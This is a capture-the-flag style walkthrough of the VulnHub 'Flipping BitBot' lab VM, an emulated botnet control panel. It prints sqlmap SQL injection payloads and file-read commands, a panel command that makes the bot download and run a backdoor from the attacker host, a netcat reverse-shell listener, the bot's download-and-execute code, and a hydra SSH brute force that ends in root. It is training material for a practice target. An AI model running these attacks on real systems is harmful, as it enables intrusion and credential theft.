VulnHub Flipping BitBot

Another botnet c2, by the same author as Dexter. First scan shows http, so that’s where I started.

Starting Nmap 6.47 ( http://nmap.org ) at 2016-08-18 16:16 EDT
Nmap scan report for 192.168.56.101
Host is up (0.0010s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
MAC Address: 08:00:27:BC:C2:B3 (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 16.97 seconds

Hiiting http://192.168.56.101/ with a browser there is a message directing you to /bot/bot.py. That’s my first target, but how do I get there? Browsing to http://192.168.56.101/bot/bot.py gets a 403 access denied. There is no robots.txt. Brute force?

$ ./wfuzz.py -w ../seclists/Discovery/Web_Content/Common_PHP_Filenames.txt --hc 404 http://192.168.56.101/FUZZ > today.txt && cat today.txt
********************************************************
* Wfuzz 2.1.3 - The Web Bruteforcer *
********************************************************

Target: http://192.168.56.101/FUZZ
Total requests: 5172

==================================================================
ID Response Lines Word Chars Request
==================================================================

00000: C=200 0 L 5 W 52 Ch "index.php"
00012: C=200 5 L 4 W 37 Ch "footer.php"
00020: C=200 0 L 0 W 0 Ch "config.php"
00021: C=200 53 L 166 W 1810 Ch "header.php"
00030: C=200 57 L 167 W 1769 Ch "admin.php"
00037: C=200 0 L 8 W 51 Ch "functions.php"
00115: C=200 57 L 167 W 1769 Ch "commands.php"
00190: C=200 0 L 0 W 0 Ch "submit.php"
01058: C=200 57 L 167 W 1769 Ch "stats.php"
04613: C=200 57 L 167 W 1769 Ch "bots.php"

Total time: 8.168884
Processed Requests: 5172
Filtered Requests: 5162
Requests/sec.: 633.1341

admin.php? don’t mind if I do. Start Burp to keep track, and dive into admin.php. Just a login.

bibot_admin_nologin

A quick run with sqlmap has no results.

$ ./sqlmap.py -u "http://192.168.56.101/admin.php" --data="login=1&username=&password=“

Fairly lost again, I start reading my cheatsheets. Turns out there’s sqli on gate2.php. It accepts a parameter ‘hwid’ that is injectable. Here is a default request for that page with all the parameters, per the author’s discussion.

http://evilc2.openbwall.com/panel/gate2.php?windows=Windows&country=US&hwid=101&connection=0&version=100&btc=all&sysinfo=Some+Info

This is really easy to turn into a functional injection with sqlmap.

$ ./sqlmap.py -u "http://192.168.56.101/gate2.php?windows=Windows&country=US&hwid=101&connection=0&version=100&btc=all&sysinfo=Some+Info"
sqlmap identified the following injection point(s) with a total of 19156 HTTP(s) requests:
---
Parameter: hwid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: windows=Windows&country=US&hwid=101' AND 4125=4125 AND 'izYQ'='izYQ&connection=0&version=100&btc=all&sysinfo=Some Info

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: windows=Windows&country=US&hwid=101' AND SLEEP(5) AND 'nBhj'='nBhj&connection=0&version=100&btc=all&sysinfo=Some Info

Type: UNION query
Title: Generic UNION query (NULL) - 12 columns
Payload: windows=Windows&country=US&hwid=-2982' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b7a6271,0x546d706e594d6c6e44686242444d616d624c4a636a6d4b68555641675276505a7a5243684b70795a,0x71626a7a71),NULL,NULL,NULL-- VFky&connection=0&version=100&btc=all&sysinfo=Some Info
---
[15:20:36] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 7.0 (wheezy)
web application technology: Apache 2.2.22, PHP 5.4.4
back-end DBMS: MySQL >= 5.0.12
[15:20:36] [INFO] fetched data logged to text files under '/Users/warrenkopp/.sqlmap/output/192.168.56.101’

I have access now as whatever the app runs, so what more info can I retrieve? At the very least a login to the control panel at admin.php.

./sqlmap.py -u "http://192.168.56.101/gate2.php?windows=Windows&country=US&hwid=101&connection=0&version=100&btc=all&sysinfo=Some+Info" --method=GET -p hwid --dbms=mysql --current-user --current-db
[15:35:21] [INFO] fetching current user
current user: 'root@localhost'
[15:35:21] [INFO] fetching current database
current database: 'bitbot'

./sqlmap.py -u "http://192.168.56.101/gate2.php?windows=Windows&country=US&hwid=101&connection=0&version=100&btc=all&sysinfo=Some+Info" --method=GET -p hwid --dbms=mysql --users --tables
Database: bitbot
[2 tables]
+----------------------------------------------+
| bots |
| mining_configs |
+———————————————————————+

Well, maybe. There doesn’t seem to be a users table or anything like that. Root in the db is not the same as logging into the application. I need a valid login to the c2. More cheatsheets, this time just the sqlmap documentation is enough.

sqlmap has a read local file option?!

$ ./sqlmap.py -u "http://192.168.56.101/gate2.php?windows=Windows&country=US&hwid=101&connection=0&version=100&btc=all&sysinfo=Some+Info" --method=GET -p hwid --dbms=mysql --file-read=/var/www/admin.php

[15:58:57] [INFO] fetching file: '/var/www/admin.php'
do you want confirmation that the remote file '/var/www/admin.php' has been successfully downloaded from the back-end DBMS file system? [Y/n] y
[15:59:03] [INFO] the local file '/Users/warrenkopp/.sqlmap/output/192.168.56.101/files/_var_www_admin.php' and the remote file '/var/www/admin.php' have the same size (9406 B)
files saved to [1]:
[*] /Users/warrenkopp/.sqlmap/output/192.168.56.101/files/_var_www_admin.php (same file)

[15:59:03] [INFO] fetched data logged to text files under '/Users/warrenkopp/.sqlmap/output/192.168.56.101’

repeat for config.php

config_php_dumpNow I have login to the web application, next goal: interactive login to the server. There should be somewhere to inject code, execute commands, or something to get me in business. Well, there’s a command interface on the control panel. one of which executes a file from a url. That’s easy enough to manipulate.

bitbot_commands

It is easy enough to setup a local http server with python on port 8000, serving just my backdoor file, test.php

$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
192.168.56.101 - - [19/Aug/2016 16:30:37] "GET /test.php HTTP/1.1" 200 -

Then tell control panel to hit that file. The bot will execute, sending shell to waiting nc on attacker machine.

DOWN http://192.168.56.1:8000/test.php

in turn gets us interactive shell as low privileged user.

$ nc -lvp 4444
Connection from 192.168.56.101:39665
/bin/sh: 0: can't access tty; job control turned off
$ whoami
botter
$ pwd
/

As an unprivileged user, next step is find the opportunity to elevate that privilege, and finish the game. First things first though, let me see what that bot file says.

$ cat /var/www/bot/bot.py 
# -*- coding: utf-8 *-*
import httplib
import urllib
import threading
import time
import hashlib
import os

# Emulated bitbot by bwall (Brian Wallace @botnet_hunter)

class Bot():
    def __init__(self, version, country, windows, hwid, sysinfo, btc):
        self.version = version
        self.country = country
        self.windows = windows
        self.hwid = hwid
        self.sysinfo = sysinfo
        self.btc = btc
        self.connection = 0
        self.removed = False

    def down(self, url):
        '''Download and execute binary'''
        m = hashlib.md5()
        m.update(url)
        filename = m.hexdigest()
        urllib.urlretrieve(url, "/var/www/bot/" + filename)
        os.system("python /var/www/bot/" + filename)

    def connect(self, logger):
        if self.connection == 0:
            logger("Bot %(hwid)s has started" % {'hwid': self.hwid})
        if self.removed:
            return
        #connect to the C2
        try:
            conn = httplib.HTTPConnection("127.0.0.1", timeout=5)
            params = urllib.urlencode({"version": self.version,
                "country": self.country,
                "windows": self.windows,
                "hwid": self.hwid,
                "sysinfo": self.sysinfo,
                "btc": self.btc,
                "connection": self.connection})
            conn.request("GET", "/gate2.php?" + params)
            response = conn.getresponse()
            data = response.read()
            if data != "":
                # Parse the data a bit
                data = data.replace('<\\\\\\>', '')
                if data == "REMOVE":
                    self.removed = True
                    logger("Bot %(hwid)s has uninstalled itself" % {
                        'hwid': self.hwid})
                if data.startswith("UPDATE "):
                    # Remove self and do the same process as DOWN
                    self.removed = True
                    self.down(data[7:])
                if data.startswith("DOWN "):
                    self.down(data[5:])
            self.connection = 1
        except:
            logger("Bot %(hwid)s has timed out when connecting to the C2" % {
                'hwid': self.hwid})
            raise

def Logger(message):
    print message

bot = Bot("1c", "US", "Linux", "101", "8 6970", "all the btcs")
while True:
    bot.connect(Logger)
    for i in range(0, 30):
        time.sleep(1)

I don’t see anything that gives me any leverage I don’t already have. Moving along, there’s this in the /home/botter directory:

$ ls /home
botter
$ ls /home/botter
gen.sh
$ cat /home/botter/gen.sh
ifconfig eth0 | grep inet | grep -v inet6 | awk '{print $2substr(rand(),0,5);}' | awk '{print $0"\n"$0}' | passwd
$ ./home/botter/gen.sh
/bin/sh: 8: ./home/botter/gen.sh: Permission denied

So what does this do?
* read config of eth0
* find the inet Line
* drop the ipv6 Info
* print the second field(ip4 address) + a random number between 0 and 1 + …awk docs say substr takes to extract from a given string. I’m not following how this works. Time to test.

$ ifconfig eth0
eth0      Link encap:Ethernet  HWaddr 08:00:27:bc:c2:b3  
          inet addr:192.168.56.101  Bcast:192.168.56.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:febc:c2b3/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:336 errors:0 dropped:0 overruns:0 frame:0
          TX packets:259 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:46157 (45.0 KiB)  TX bytes:39287 (38.3 KiB)
          Interrupt:10 Base address:0xd000 

$ ifconfig eth0 | grep inet
          inet addr:192.168.56.101  Bcast:192.168.56.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:febc:c2b3/64 Scope:Link
$ ifconfig eth0 | grep inet | grep -v inet6
          inet addr:192.168.56.101  Bcast:192.168.56.255  Mask:255.255.255.0

Running that a few dozen times shows me it’s only incrementing the last two digits between 0-99

$ ifconfig eth0 | grep inet | grep -v inet6 | awk '{print $2substr(rand(),0,5);}' | awk '{print $0"\n"$0}'
addr:192.168.56.1010.64
addr:192.168.56.1010.64
$ ifconfig eth0 | grep inet | grep -v inet6 | awk '{print $2substr(rand(),0,5);}' | awk '{print $0"\n"$0}'
addr:192.168.56.1010.91
addr:192.168.56.1010.91
$ ifconfig eth0 | grep inet | grep -v inet6 | awk '{print $2substr(rand(),0,5);}' | awk '{print $0"\n"$0}'
addr:192.168.56.1010.91
addr:192.168.56.1010.91
$ ifconfig eth0 | grep inet | grep -v inet6 | awk '{print $2substr(rand(),0,5);}' | awk '{print $0"\n"$0}'
addr:192.168.56.1010.04
addr:192.168.56.1010.04
$ ifconfig eth0 | grep inet | grep -v inet6 | awk '{print $2substr(rand(),0,5);}' | awk '{print $0"\n"$0}'
addr:192.168.56.1010.17
addr:192.168.56.1010.17
$ ifconfig eth0 | grep inet | grep -v inet6 | awk '{print $2substr(rand(),0,5);}' | awk '{print $0"\n"$0}'
addr:192.168.56.1010.17
addr:192.168.56.1010.17
$ ifconfig eth0 | grep inet | grep -v inet6 | awk '{print $2substr(rand(),0,5);}' | awk '{print $0"\n"$0}'
addr:192.168.56.1010.30
addr:192.168.56.1010.30
$ ifconfig eth0 | grep inet | grep -v inet6 | awk '{print $2substr(rand(),0,5);}' | awk '{print $0"\n"$0}'
addr:192.168.56.1010.43
addr:192.168.56.1010.43
$ ifconfig eth0 | grep inet | grep -v inet6 | awk '{print $2substr(rand(),0,5);}' | awk '{print $0"\n"$0}'
addr:192.168.56.1010.43
addr:192.168.56.1010.43

Hijack barrabas‘ quicky python one-liner to dump a file full of these,

$ python -c 'for i in range(100): print "addr:192.168.56.1010."+str(i)' > hydrapw_bitbot.txt

Finally, use hydra to brute the ssh login.

except hydra needs a bunch of stuff that’s not on OS X by default. That’ll probably get it’s own article at some point, because it took me a good bit of googling and trials to get it running against ssh. Anyhow, in, and root.

$ hydra -l root -P hydrapw_bitbot.txt 192.168.56.101 ssh
Hydra v8.4-dev (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2016-08-19 22:13:06
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 64 tasks, 100 login tries (l:1/p:100), ~0 tries per task
[DATA] attacking service ssh on port 22
[22][ssh] host: 192.168.56.101   login: root   password: addr:192.168.56.1010.94
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2016-08-19 22:13:35
$ ssh root@192.168.56.101
root@192.168.56.101's password: 
Linux Bitbot 3.2.0-4-686-pae #1 SMP Debian 3.2.46-1 i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@Bitbot:~# whoami
root
root@Bitbot:~# id
uid=0(root) gid=0(root) groups=0(root)